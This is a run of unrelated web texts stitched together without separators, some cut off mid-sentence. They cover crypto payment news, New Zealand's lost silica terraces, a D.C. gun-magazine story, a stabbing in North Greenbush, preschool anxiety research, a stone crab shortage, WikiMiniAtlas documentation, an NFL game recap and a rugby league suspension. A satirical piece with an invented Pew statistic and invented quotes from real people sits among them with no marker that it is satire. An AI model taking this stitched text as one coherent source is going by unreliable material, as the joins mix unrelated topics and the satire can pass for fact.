Besides BitCart, Dash is also being integrated into popular payments plug-in CryptoWoo and Venezuelan cryptocurrency exchange CryptoBuyer.
According to the official release, CryptoWoo has integrated Dash and allowing individuals and businesses to pay for e-commerce products online with the cryptocurrency. The addition means that e-commerce websites and companies can now implement the CryptoWoo plugin to accept Dash as a method of payment, alongside extant native tokens Bitcoin, Dogecoin, and Litecoin.
CryptoBuyer has also finalized its integration of Dash, which is now available for purchase and sale on its platform. Dash will become a viable alternative to the Bolivar (VEF), which has recently experienced significant drops in value. Local Venezuelans can now use Dash and Bitcoin to make remittances, everyday transactions, top up cell phones, recharge debit cards away from traditional banks and the slumping national currency.In events reminiscent of the plot of an Indiana Jones adventure, two researchers believe the discovery of a historic diary may be the key to finding New Zealand’s mysterious Pink and White Terraces – the fabled ‘eighth wonder of the world.’
Made up of large mounds of silica deposits, the terraces were once a feature of the Lake Rotomahana region until a massive volcanic eruption at Mount Tarawera in 1886 purportedly changed the area’s landscape forever.
READ MORE: 7.0mag earthquake rocks Mexico’s southern state of Chiapas (PHOTOS)
Now, the discovery of a field diary belonging to Swiss geologist Ferdinand von Hochstetter may provide a way to uncover the pink hued springs that were once renowned among indigenous people for their healing qualities.
A new paper by researchers Rex Bunn and Dr Sascha Nolden details how the Swiss geologist’s 1859 etchings of the area has helped them “plot the lost terrace locations.”
Von Hochstetter’s diary was discovered by Nolden in 2010 and contains survey drawings for Lake Rotomahana that pre-date the Mount Tarawera eruption.
Violent and unexpected, the volcanic eruption of Mount Tarawera on June 10, 1886, was one of New Zealand's greatest natural disasters. — New Zealand Global (@NZGlobal) May 8, 2017
“The coordinates for the spring platforms appear to lie ten to fifteen meters underground, around the shores of the new Lake Rotomahana, a water-body filling the eruption crater and some ten times the area and depth of the original lake,”reads the paper, which has been published in the Journal of the Royal Society of New Zealand.
Read more
Nolden and Bunn say they now have enough knowledge to recommend digging 10-15 meters (30-50ft) underground to find the terraces.
Studies in the years after the massive 1886 eruption suggest the power of the volcanic explosion shifted the topography of the northern New Zealand region and formed a new larger Lake Rotomahana.
Volcanic debris is thought to cover the terraces, which are described in the Journal of Volcanology and Geothermal Research as “iconic” silica sinter deposits that were treasured by Maori tribes for their “majestic appearance”.
According to last year’s study led by geologist Cornel de Ronde, the White Terraces were originally located 100 feet above the old lake and were formed by cascading thermal waters.
The pink coloring of some terraces, situated on the western side of pre-1886 Lake Rotomahana, may have been caused by the presence of certain microorganisms.
The study states the local tribes referred to the formations as a “taonga” or treasure “because of the therapeutic qualities of the waters and their majestic appearance.”This article is from the archive of our partner.
The attorney general of D.C. has received the complete police investigation into David Gregory's apparently illegal use of a high-capacity magazine clip as a prop on Meet the Press, and will soon decide whether or not it actually has a case against Gregory. During his December 23 interview with the NRA's Wayne LaPierre, the Meet the Press host held up a device that, in the District of Columbia (where Meet the Press is filmed), carries a $1,000 fine and a one-year jail sentence: precisely the sort of measure that Gregory defended in his prosecution of the N.R.A.'s stance toward gun control. Here's a clip:
The incident provided instant fodder for conservative media — Breitbart.com and The Daily Caller relished it as a lucid moment of hypocrisy — while media critics like Howard Kurtz came to Gregory's defense:
Gregory had no intent to commit a crime; he was committing journalism instead. Gun owners often say they want the government to leave them alone; why then are some clamoring for Gregory to be prosecuted?
Surprisingly, Gregory also received support from N.R.A. president David Keene, who said the incident further illustrates the futility of enforcing stricter gun laws.
This article is from the archive of our partner The Wire.New York State Police and North Greenbush Police Department members investigate a homicide that happened late Thursday night on Marion Street Friday morning Dec. 18, 2015 in Wynantskill, N.Y. (Skip Dickstein/Times Union) less New York State Police and North Greenbush Police Department members investigate a homicide that happened late Thursday night on Marion Street Friday morning Dec. 18, 2015 in Wynantskill, N.Y. (Skip... more Photo: SKIP DICKSTEIN Buy photo Photo: SKIP DICKSTEIN Image 1 of / 30 Caption Close Suspect identified, not charged, in deadly North Greenbush attack 1 / 30 Back to Gallery
North Greenbush
A 28-year-old suspect was identified but not charged Friday night in the fatal stabbing of city of Troy official William D. Chamberlain, town police said.
The suspect is Joseph M. Vandenburgh, who was out on parole on a burglary conviction, Chief Robert J. Durivage said. Vandenburgh of Wynantskill was sent to the Rensselaer County jail, as the state Division of Parole was filing a warrant against him for parole violation.
"The investigation is ongoing at this time and we still have many leads to pursue," Durivage said. During a press conference in front of the police station, he declined to provide details about possible evidence, including whether a weapon was recovered, when charges may be filed, a possible motive or whether the suspect and the victim knew each other.
However, the chief sought to reassure nervous residents near the slaying. "The residents of North Greenbush can feel safe tonight," the chief said, adding that unspecified forensic evidence already recovered is "significant."
Chamberlain, 56, of 16 Powell St., was killed in a furious attack in which he was stabbed up to 25 times, according to North Greenbush and Troy officials. A large military-style knife was found near his body, according to the officials who spoke on condition of anonymity because they were not authorized to discuss the case.
He was found by his wife, who saw him collapsed on the front lawn of 6 Powell St., at the corner of Marion Avenue, at about 10:30 p.m. Thursday. The death sent shock waves through the North Greenbush neighborhood and Troy, where Chamberlain was the director of operations. He was said to have an encyclopedic knowledge of the city.
Vandenburgh, who sources say was apprehended at Crossgates Mall, was sentenced in 2007 when he was 19 years old in Rensselaer County Court to nine years in prison for a May 2005 burglary at a North Greenbush home that involved some kind of a weapon, according to Times Union archives. Vandenburgh was also given five years' post-release supervision.
Chamberlain's wife, Nancy, found him dying on a lawn near their home after the family dog, Otis, a small terrier he took for a walk late Thursday, came home alone, neighbor Charles "C.B." Smith said.
Chamberlain was described as putting up a hard-fought battle against his attacker, sources said.
The killing occurred in the town's Wynantskill neighborhood. People familiar with the case said Chamberlain took Thursday off from his job in Troy where he oversaw the department of public works and building projects.
"This doesn't happen here. This is a quiet neighborhood," said Smith, who lives across the intersection from where Chamberlain was found.
"I hope it is not a random act because that would be scary," he said.
Smith said an ambulance was called Thursday night, but Chamberlain appeared to already be dead. The ambulance left without a patient. Neighbors said they later saw officials place a body bag in a coroner's vehicle, which left the scene.
Before the suspect was announced, Durivage was urging people who were in the area Thursday night to call the department to pass on observations about anything that seemed unusual. People, he said, should not discount anything that raised even minor suspicions.
Chamberlain was a nearly 30-year city of Troy employee working since 2004 as director of operations. First hired in 1986, Chamberlain served under three mayors and multiple city managers,
Chamberlain was responsible for overseeing city functions that residents take for granted. He devised the city's snow removal plan; oversaw preparations for special events; was responsible for the city's streets; was in charge of the city's courtroom and police department expansion projects; and was responsible for emergency work such as the Brunswick Avenue landslide, repair of Campbell Avenue and working on repairing the Hudson River seawall.
He also was responsible for getting city employees relocated when the city twice changed city hall locations.
"Bill was a great city government administrator," Mayor Lou Rosamilia said.
Chamberlain also was fearless in telling elected and appointed officials what could and could not be done. He had a reputation for speaking directly to an issue and advising city leaders of the consequences when they did not act.
Co-workers described him as having a keen sense of humor.
Chamberlain's death leaves Troy without the official whose encyclopedic knowledge of city operations was unrivaled.
"You can't replace Bill," said Troy Mayor-elect Patrick Madden.
Chamberlain was a fixture on his street too, commonly seen walking his dog.
Nearby resident Jim Shear said he talked to Chamberlain nearly every day.
"He was a really nice guy," said his wife, Nina Shear.
Smith, who lives across the street from the stabbing scene, said investigators found a bloodied plastic drink container in the driveway of his next-door neighbor at 139 Marion Ave. and looked at a blood trail that led from there to where Chamberlain was found.
"They had that area roped off first, Smith said, referring to the driveway next door. "Then they moved to the middle of the intersection and then concentrated on the place where he was on the lawn."
A large blood stain remained on the lawn and the SUV of Chamberlain's wife remained parked nearby.
Investigators were also seen taking pictures of the driver's side interior of a car parked in the Chamberlains' driveway.
Neighbors said the couple has two college-age kids who recently came home on holiday recess.
Before dawn, detectives with flashlights could be seen searching for clues in the area. Mayor Rosamilia and other high-ranking city government officials visited the scene Thursday night.
"Last night, the City of Troy suffered a tragic loss with the passing of Bill Chamberlain," city Rosamilia said Friday in a prepared statement. "I am truly devastated by the loss of Bill, a dedicated father, husband and public servant. The impact of Bill's three decades of service to Troy cannot be measured. My heart goes out to his family — especially his wife Nancy, and his sons Ryan and Patrick. I ask that everyone keep them in your thoughts and prayers during this very difficult time."
Council President Rodney Wiltshire also issued a statement saying, "Bill was said to have run this city, and had a vast array of valuable knowledge and expertise. I enjoyed working closely with him on several city projects... his loss will be felt deeply within the city, and it will be impossible to fill his shoes.
"This terrible crime should not have occurred and the timing makes it even worse for the family," Wiltshire said.
Anyone with information about the stabbing is asked to call North Greenbush police at 518- |
behaviours through these scenarios. The study included leaving the participants in a room with a stranger and playing with new, exciting toys. The episodes were each recorded through a one-way mirror for later coding. Coding is the process of labelling the observations made by the researchers so that the data can be compared and analyzed.
Over 90% of the parents and preschool participants returned for another lab session. This was to assess child and parent interaction. This included six tasks ranging from book reading to block building. Over 400 mothers and 400 fathers also completed a questionnaire based on parenting style.
Lea and her colleagues interviewed 541 three to four-year-old children and their parents. From this group, 106 of them (19.6%) had an anxiety disorder. Pre-schoolers with anxiety disorders were more likely to have depression, sleep problems, behavioral issues and Oppositional Defiant Disorder. ODD is a condition which is diagnosed in children showing defiant and disobedient behavior for longer than six months. Lea and her team found that children with and without anxiety disorders were not different in terms of age, gender, ethnicity and parental marriage status. This suggests that these factors do not play a key part in whether the child will have anxiety. Children with anxiety were also more prone to sadness.
In terms of parenting, those parents who had children with an anxiety disorder were seen to be less supportive. This is compared to the parents of children with no anxiety disorder. Lea and her team also showed that the children with anxiety were more likely to have been through more stress in the previous 6 months. Of all the children who had an anxiety disorder, 32 of them had a phobia, 57 had anxiety with no specific phobia and 17 of them had both an anxiety disorder and a phobia. There were five main factors which Lea and her team thought contributed to anxiety in pre-schoolers: childhood depression, sleep problems, time spent in day care, stressful life events and behavior problems. Based on this study the way we parent our children can go a long way in protecting them from anxiety disorders. Supportive parenting can improve emotional wellbeing and help them to manage their behavior.
Children aged 3 – 4 years of age can have serious anxiety. If left untreated, some anxiety disorders can worsen. Behavioral, sleep problems and depression can also affect these young kids if anxiety is not managed. Hopefully by being aware that anxiety can seriously affect children and that is can have bad consequences we can start taking steps to prevent it.
The Reality of Preschool Anxiety DisordersHERNANDO BEACH — With the holidays approaching, demand for Florida stone crabs is on the rise.
Unfortunately, so is the price.
The problem is the supply of the Gulf of Mexico delicacy is down dramatically in some areas because of balmy weather, warm water and the crustacean's fickle life cycle.
Then there's the octopus.
Some crabbers say as many as half of their traps are coming up empty, save for the remnants of dead crabs. That's because the marauding tentacled beasts have moved in to stake their claim.
Kathy Birren, owner of the Hernando Beach Seafood Co. in Hernando County, said that while intrusion by the eight-legged creatures has always been a problem for trappers, she estimated that stone crab harvesting is down about 80 percent from usual this time of year.
"Normally, we get between 400 and 500 pounds a day per boat, but these days we're lucky to get 50 pounds," said Birren, whose company is the largest processer of wholesale seafood in Hernando County. "I've never seen it this bad."
Birren said that stone crab season started fairly strong in October and continued so through Thanksgiving. But three weeks ago, her boat crews began coming up mostly empty-handed.
"It's very disappointing," Birren said. "These guys work hard, and when they come back with little to show for it, they get very depressed."
Pinpointing the exact cause is difficult, said Ryan Gandy, a crustacean research biologist with the Florida Fish and Wildlife Conservation Commission. Crabbing areas north of Sarasota County where water temperatures haven't cooled much and waters have remained calm seem to have suffered most from the rapid octopus explosion.
While environmental factors could be to blame, normal fluctuations in the numbers of octopuses and stone crabs and what they feed on also play a role, Gandy said.
"Stuff in the gulf likes to move around, and normal cycles can be disrupted," he said. "Predators go where food is easiest to find. Right now, the octopuses are winning. If another predator arrives to feed off them, or a couple of strong cold fronts move in, then things could change quickly."
However, biology doesn't help much for those looking to fill up on what is traditionally one of Florida's most treasured wintertime delicacies.
Tommy Shook, general manager at Frenchy's Seafood Co. in Palm Harbor, which ships crab claws to restaurants in Chicago and New York, said he's scrambling to fill even partial orders in time for the holidays.
"Everyone I know is having a tough time finding stone crab claws right now," Shook said. "I could have sold 2,500 pounds of stone crabs this week if I could get them."
Shook, who also supplies his company's five seafood restaurants in Pinellas County, said customers are beginning to feel the pain of the stone crab claw shortage. Retail prices have risen more than 30 percent over the past three weeks, with medium claws selling at $15 per pound.
However, not every restaurant is feeling the pinch.
Jim Mysliwiec, office manager of Billy's Stone Crab in St. Petersburg, said he buys from a vast network of suppliers throughout the state.
"If we can't get them one place, we go elsewhere," Mysliwiec said. "But that's the nature of the business."
Logan Neill can be reached at [email protected] or (352) 848-1435.Christianity Shaken To Its Core As Atheist Refers To God As 'Magic Invisible Friend'
PORTLAND, OR—The very foundations of Christianity, a two-thousand-year-old religion with countless adherents worldwide, were shaken Tuesday evening, as local atheist and freethinker Bert Cooper left a Facebook comment in which he referred to the Christian God as a “magic invisible friend.”
The explosive commentary was reportedly penned in response to a Christian’s post thanking God for getting her through a tough day, sources confirmed.
“Yeah, go and pray to your magic, invisible friend in the sky,” Cooper wrote, launching the missive that may bring about the end of Christendom as we know it. “Stupid fundie.”
Believers around the globe are said to be walking away from the faith in droves after reading the earth-shattering comment, with numerous Christian leaders publicly expressing a newfound doubt in their previously rock-solid beliefs.
“I know I wrote some books on apologetics, but I just don’t know anymore,” pastor and author Timothy Keller wrote on his Twitter account. “I’m going to have to take some time to process this unassailable ‘magic invisible friend’ comment.” Keller further reported he’s taking some time off from his pastoring and writing as he works through whether or not he believes in God anymore.
An alarming number of pastors from around the globe issued similar statements throughout the day, according to sources.
At publishing time, an emergency Pew Research study had found that Christianity had declined over 85% in the U.S. alone overnight, entirely due to Cooper’s comment.Feature
VMAP0 layer Legend Seaice
seaicea shelf ice Grassland
grassa grassland Trees
treesa Trees Waterbodies
inwatera lakes and wide streams Ice
landicea landice Cities
builtupa all settlements Rivers
watrcrsl river intermittent river Borders
polbndl country border regional border Canals
aquecanl canal Railroad
railrdl railtrack Roads
roadl with median without median Mapsymbols Article Mountain Event Village < 10000 inhabitants Town < 100.000 inhabitants City < 500.000 inhabitants City < 1.000.000 inhabitants City > 1.000.000 inhabitants
WikiMiniAtlas is a JavaScript plugin to display a draggable, zoomable, and clickable worldmap (as well as Moon, Mars, Venus, Mercury, Io and Titan imagery) in geocoded Wikipedia articles. The map contains links to all other geocoded articles in Wikipedia and can be magnified down to streetlevel. 3D building models are displayed in modern browsers. While it looks similar to Google Maps it is our own software and free data.
Go to Himalayas. Check out the -icon in the top right corner. Click it and drag the map around. Use the +/- buttons to zoom in and out, use the downward arrow to open the config page.
Map data courtesy of OpenStreetMap and VMAP0, rendered using the Mapnik toolkit, additional data courtesy of the US National Park Service, Landsat7 data courtesy of NASA.
Data Sources [ edit ]
Textual labels on the map are generated from a database by en:User:Dispenser. Labels are sorted according to importance into a quadtree data structure for fast retrieval.
The default base map is generated from VMAP0 and data from the OpenStreetMap project and rendered using the Mapnik toolkit. Plotted VMAP0 layers are shown on the right.
As a big fan of the NPS I also added all US National Parks and Monuments to the VMAP0 base map. (Thanks for the freely available Geodata!)
Some shape overlays are extracted from the OSM database and obtained through the WIWOSM project.
The reduced bandwidth map (coastline) is based on GSHHS Coastline Data (public domain)
The physical shaded relief is created by Tom Patterson of the US National Park Service mainly based on Landsat and SRTM30 data. It is in the public domain, downloadable here. To cut the two hemisphere images up into tiles a custom ImageMagick script was used.
shaded relief is created by Tom Patterson of the US National Park Service mainly based on Landsat and SRTM30 data. It is in the public domain, downloadable here. To cut the two hemisphere images up into tiles a custom ImageMagick script was used. The Landsat7, daily aqua, and daily terra satellite modes use data by the National Air and Space Administration
Configuration [ edit ]
To set custom configuration for you, add the following to your common.js file:
window.wma_settings = { height: 400, width: 700 };
to set the size of the MiniAtlas window.
Configuration reference [ edit ]
Parameter Description height: h Set the height of the map popup to h pixels. width: w Set the width of the map popup to w pixels. zoom: z Set default zoom level of the map to z (0=show whole world, 15=maximum zoom). Setting z to -1 activates automatic choice of a sensible zoom level (default). enabled: true|false Set this to false to deactivate the WikiMiniAtlas. onlyTitle: true|false Set this to true to limit the WikiMiniAtlas to title coordinates. flowTextTooltips: true|false Adds tooltip menus to coordinates in inline text rather than icons. buttonImage: url Replace the blue globe with the image at url. timeout: time Set coordinate processing timeout to time in milliseconds (default 5000 = 5 seconds).
Technology [ edit ]
The VMAP0 layer is based on data from the vector map 0 of the US armed forces, rendered using the Mapnik toolkit.
is based on data from the vector map 0 of the US armed forces, rendered using the Mapnik toolkit. The coastline layer is based on GSHHS Coastline Data and rendered using custom software built on the AGG (Anti Grain Geometry) graphics library.
is based on GSHHS Coastline Data and rendered using custom software built on the AGG (Anti Grain Geometry) graphics library. The landsat layer is fetched from JPLs mapserver and then rescaled and cut into tiles suitable for the WMA.
is fetched from JPLs mapserver and then rescaled and cut into tiles suitable for the WMA. The experimental Moon layer is fetched and cached from http://onmoon.jpl.nasa.gov.
is fetched and cached from http://onmoon.jpl.nasa.gov. The text labels on the map are based on data extracted from a copy of the Wikipedia database on the Toolserver. The data is fetched by XMLHTTP-requests from a specially prepared quadtree database for fast retrieval. Labels are fetched in JSON format and laid out client-side.
on the map are based on data extracted from a copy of the Wikipedia database on the Toolserver. The data is fetched by XMLHTTP-requests from a specially prepared quadtree database for fast retrieval. Labels are fetched in JSON format and laid out client-side. All coordinates in an article are scraped by the WMA and transferred to the WMA iframe using postMessage. Those coordinates are displayed using blue dots. Hovering the dots with the mouse will highlight the corresponding coordinates in the article (again using postMessage to message across the different domains toolserver.org <-> *.wikipedia.org). Clicking the dots scrolls the articles to the respective coordinate.
Some articles have KML files attached using the Attached KML template. This data is fetched using an XMLHTTP-request, the XML-DOM is parsed and polygons and lines are extracted, coded into JSON format and passed to the WMA iframe using postMessage. The WMA then creates a canvas element overlayed over the map, where the data from the KML attachemnt is plotted (see this article for a good example)
files attached using the Attached KML template. This data is fetched using an XMLHTTP-request, the XML-DOM is parsed and polygons and lines are extracted, coded into JSON format and passed to the WMA iframe using postMessage. The WMA then creates a canvas element overlayed over the map, where the data from the KML attachemnt is plotted (see this article for a good example) Some articles have corresponding tags in the OpenStreetMap database, the OSM geometries are fetched with the help of the WIWOSM project and displayed using a canvas overlay on the WikiMiniAtlas.
Textual labels are cached in the sessionStorage of the browser, if supported. This makes labels appear instantly in areas of the map that have already been viewed (try zooming out and in again).
of the browser, if supported. This makes labels appear instantly in areas of the map that have already been viewed (try zooming out and in again). The 3D overview globe in the bottom right corner is rendered using WebGL, taking the texture from a canvas (to allow dynamically adding the WIWOSM/KML overlays)
Frequently Asked Questions [ edit ]
Why is the red dot not exactly at the position of the article marker? The coordinates of the article markers are not necessarily the same as the coordinates coded in the actual article you are viewing. This may have different reasons: The coordinates have been changed since the last extraction run
The coordinates in the database were extracted from an article version in a different language. (Articles linked by interwikilinks are assumed to have the same coordinates, however, the geocoding accuracy can vary considerably across projects.)
Numerical errors in the JavaScript interpreter restrict the matching accuracy (they shouldn't in a perfect world...).
I am from xx.wikipedia.org and would like to enable the WikiMiniAtlas on our project! Great, this is easy and should work out of the box, just add code to include MediaWiki:Wikiminiatlas.js in your local MediaWiki:Common.js file. Please do not copy the whole JavaScript code to your project as you will not get automatic updates, and the interaction protocol between the client JavaScript code and the server may change any time.
Where can I see it in action? The WikiMiniAtlas is enabled by default on the English, Catalan, Esperanto, French, Greek, Icelandic, Italian, Lithuanian, Norwegian (bokmål), Portuguese, Russian, Danish, Polish, Spanish, Old Church Slavonic, Hebrew, Swedish, and Vietnamese Wikipedias and Wikimedia Commons. It is a gadget on the German and Finnish Wikipedia.
Where I can contribute translations? To help translating the WikiMiniAtlas user interface to new languages add new translation to Commons:WikiMiniAtlas/Translations.
Where is the source code? On github: https://github.com/dschwen/wikiminiatlas
https://github.com/dschwen/wikiminiatlas_servers
Screenshots [ edit ]
3D building models rendered using hardware accelerated WebGL
Client-side tile rendering makes arbitrarily large zoom levels possible (added July'12)
Mars coordinates on the WikiMiniAtlas
Moon coordinates on the WikiMiniAtlas
Article summaries (hold CTRL and hover a link)
3D overview globe in the bottom right corner (showing a WIWOSM overlay on both map and globe!)
Dragging around Texas for size comparison
OpenStreetMap data, KML overlay (blue line), and additional article coordinates (blue dots). February 2012
The new detailed basemap
WikiMiniAtlas in action
Pyramids of Giza in satellite mode
Current weather on the Azores
June 2007
License Stuff [ edit ]
WikiMiniAtlas is (c) 2006-2013 by Daniel Schwen and licensed under the GPL License version 3 or above. The unminified source code is available on GitHub at
The author is grateful to Wikimedia Deutschland and the Toolserver administrators for funding and running the Toolserver, where WikiMiniAtlas used to be hosted (it is now hosted at https://wma.wmflabs.org/ ).
WikiMiniAtlas uses several 3rd party libraries listed below.
jQuery [ edit ]
jQuery is licensed under the MIT License.
json2.js provides JSON serialization and parsing for browsers that do not support it natively. Library by Douglas Crockford, licensed as Public Domain.
glMatrix [ edit ]
glMatrix is a matrix creation and manipulation library for WebGL. WikiMiniAtlas uses a stripped and minified version of glMatrix. Copyright (c) 2013 Brandon Jones, Colin MacKenzie IV
This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions:
The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. This notice may not be removed or altered from any source distribution.
Poly2Tri [ edit ]
Poly2Tri is a polygon triangulation library. WikiMiniAtlas uses a slightly stripped and minified version of Poly2Tri.
Copyright (c) 2009-2010, Poly2Tri Contributors http://code.google.com/p/poly2tri/
All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
Neither the name of Poly2Tri nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
Disclaimer [ edit ]
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.Elsa/Getty Images
It's hard to tell exactly when the Week 7 edition of Monday Night Football officially crossed the line from a disappointing snoozefest to an unwatchable farce.
It wasn't when New York Giants punter Steve Weatherford got flagged for a flying horse-collar tackle attempt. It wasn't when Minnesota Vikings defensive end Jared Allen sacked Giants quarterback Eli Manning around Giants left tackle Will Beatty.
Manning had another poor night, but he looked like his big brother Peyton with Josh Freeman on the other side of the field. Freeman, in his Vikings debut, completed 37.7 percent of his passes for 3.6 yards per attempt, no touchdowns and one interception—and he was lucky the Giants only caught one.
A case could be made that the game went completely off the rails when ESPN play-by-play announcer Mike Tirico got brutally honest, declaring both teams "just bad":
Those with stern constitutions held it together until rookie Vikings defensive tackle Sharrif Floyd fumbled the ball away to the Giants while attempting to return a kickoff.
Yes, really.
Not Like This
It wasn't supposed to be this way.
Floyd, the highest of the Vikings' three first-round draft picks, was supposed to be apprenticing behind stalwart Kevin Williams and flashing in rotational snaps.
Floyd, along with cornerback Xavier Rhodes and receiver/returner Cordarrelle Patterson, was supposed to bolster the foundation of the Vikings franchise, fresh off a triumphant 2012 return to the postseason. The three top picks were supposed to ensure the Vikings would stay on top of their NFC North division rivals.
Bruce Kluckhohn-USA TODAY Sports
On the other side of the field, the Giants weren't anybody's Super Bowl favorite. Then again, many, including me, lauded general manager Jerry Reese for his offseason. With limited cap space, the Giants made several low-priced, high-impact free-agent signings, and they had a good draft.
When the schedule was drawn up, this game might have seemed like a good one, with two division-title contenders and true marquee players on both teams, like star Vikings tailback Adrian Peterson.
Nobody ever could have predicted these two teams would have just one win between them at this point.
Nobody ever could have predicted that, as Bleacher Report NFC East Lead Writer Brad Gagnon wrote at This Given Sunday, this game would feature the second-worst Monday Night Football matchup (by combined win percentage, post-Week 4) of all time.
The Green-Eyed Monster
Yet, there's no way it was ever going to match the "War of 1812," one of several nicknames given to Week 7's Sunday Night Football fixture.
With Indianapolis Colts legend Peyton Manning returning with his Broncos to take on Colts legend-in-the-making Andrew Luck, the two teams could both have been winless and it would have been compelling TV. Instead, the Broncos were undefeated and the Colts 4-2, and the game lived up to every ounce of its considerable pregame hype.
The high quality of play from both offenses and defenses was evident, and the game was a thriller until the very, very end.
Meanwhile, Week 7 got its usual Sunday sequel: a viewer-unfriendly fixture between uncompelling teams with no storylines. Even if there weren't turnover hijinks and special-teams goof-ups galore, this game was never going to compare to the previous night's classic.
I'm far from the first to notice that Monday Night Football has had quite a few poor matchups over the past few seasons, especially compared to Sunday Night Football's prime pickings.
Football fans have been noticing: Per Sports Media Watch, Monday Night Football hit a four-year ratings low in 2012, likely due to bad matchups and blowouts. Meanwhile, TV by the Numbers reports that Sunday Night Football has been the No. 1 prime-time television show of any kind for two straight television seasons.
A Comedy of Errors
The game started off with a poor display of ball control. Manning and the Giants drove down the field in excruciating fashion, putting together a 17-play, 9:36 drive that somehow didn't reach the end zone.
After settling for a field goal, Freeman and the Vikings took over. On his first drive in purple, Freeman went 1-of-4 for nine yards, while Adrian Peterson rushed twice for a net of zero yards.
That could have been Freeman's fourth-best drive of the game.
The Vikings defense forced a three-and-out, and the Giants punted. That's when one of the game's few legitimate highlights occurred:
Marcus Sherels' 86-yard punt return for a touchdown couldn't happen without a little ridiculousness, though; the Giants were penalized twice on the play, including a horse-collar flag on punter Steve Weatherford.
The two teams traded three-and-outs before Manning favored us with a rare display of passing competence, hitting receiver Rueben Randle for a 24-yard touchdown:
The Vikings took over and had a chance to answer, driving all the way from their own 20 to the Giants' 35. Vikings kicker Blair Walsh, who per ESPN's Ben Goessling had never missed from over 50 yards before, missed:
That was as close as the Vikings got to scoring offensive points.
Each team went three-and-out again, and then the Giants snuck in one first down before again being forced to punt. The Giants' Antrel Rolle briefly extended the Vikings' ensuing drive with an unnecessary roughness foul, but only briefly. When the Giants got the ball back, the incredible Allen sack occurred:
Halftime was blessed relief.
Then, the wheels came completely off. Minnesota went three-and-out to start the second half and punted to Randle, who fumbled. The Vikings recovered deep in Giants territory—but on the second play of the ensuing drive, Freeman threw an awful pick.
A Giants three-and-out followed by a Vikings three-and-out led to another Giants three-and-out. Sherels fumbled that ensuing punt, which the Giants recovered on the Vikings' 3-yard line. Somehow it was still surprising when Peyton Hillis actually punched it in for a touchdown.
On the ensuing drive, it looked like Freeman had finally put together a decent series. Then, he took an unconscionable 14-yard sack on 3rd-and-3 from the Giants' 21-yard line. NFL Network's Rich Eisen had this to say about the Vikings' choice to take the ball out of Peterson's hands there:
After another interminable Giants drive (16 plays, 8:31 drained off the clock) to another field goal, the see-it-to-believe-it Floyd kickoff return occurred. Check it out at the three-minute mark here:
On the ensuing kickoff, the Vikings engineered a 13-play drive that went only 41 yards. It featured seven Freeman incompletions and ended with a turnover on downs.
The Giants answered with another three-and-out, so Freeman mounted another improbable non-scoring drive: nine plays, seven incompletions, extended twice by defensive penalties and still no points.
Former Vikings offensive guard (and likely future Hall of Famer) Steve Hutchinson chimed in with his opinion of the game:
A Good Night of TV-Watching, Spoiled
It's hard to take away anything of value from this game.
Freeman was nowhere near ready; he was very limited in the playbook and essentially unable to audible or make on-the-fly adjustments. Appearing nervous and "pressing," Freeman was badly overthrowing nearly every single pass. He still has more quarterbacking talent in his non-throwing arm than any other Viking, but he's weeks away from being able to help this team win games.
That Leslie Frazier was willing to throw him out against the Giants in vain hope that lightning would strike says a lot about Frazier's opinion of his job security.
The Giants got off the schneid, which is psychologically huge, but they did it against a Vikings team that would have lost playing against nobody.
The level of play from both sides was shockingly poor; when levelheaded media pros like Tirico and Eisen are publicly ripping teams and coaches, you know something's very, very wrong.
The good news is, Monday Night Football will get much better from here on out—because the NFL doesn't get any worse.Stood down: Kaysa Pritchard (left). Credit:Getty Images For Pritchard, it is a first offence, while Edwards has form when it comes to off-field incidents. The back-rower was previously stood down for two games and fined $5000 after being charged with public nuisance in an incident with an acquaintance on the Gold Coast. The former Junior Kiwis and Australian Schoolboys representative had already been punted by two NRL clubs for disciplinary reasons but appeared to have made a home for himself after some impressive performances for the blue and golds. The NRL has provisionally suspended Edwards for nine months from the time of the incident, meaning he won't be eligible for a return until November 24. He has until Friday to provide a submission to the NRL should he wish to challenge the severity of the sanction. The Eels are mindful Edwards has a partner and child to support and has welfare issues that need to be addressed. They will wait for the NRL's process to conclude before deciding whether to take further action against both players. Given they both have long-term injuries – Edwards was scheduled to return in round 20, while Pritchard isn't expected to be back this year – and they are not on huge salaries, officials will need to strike a delicate balance in dealing with them appropriately. Pritchard, the younger brother of Canterbury's New Zealand and Samoan international, was viewed as the understudy to first-choice rake Nathan Peats. However, injuries have limited the 21-year-old to just half a dozen NRL appearances since his debut in 2013.
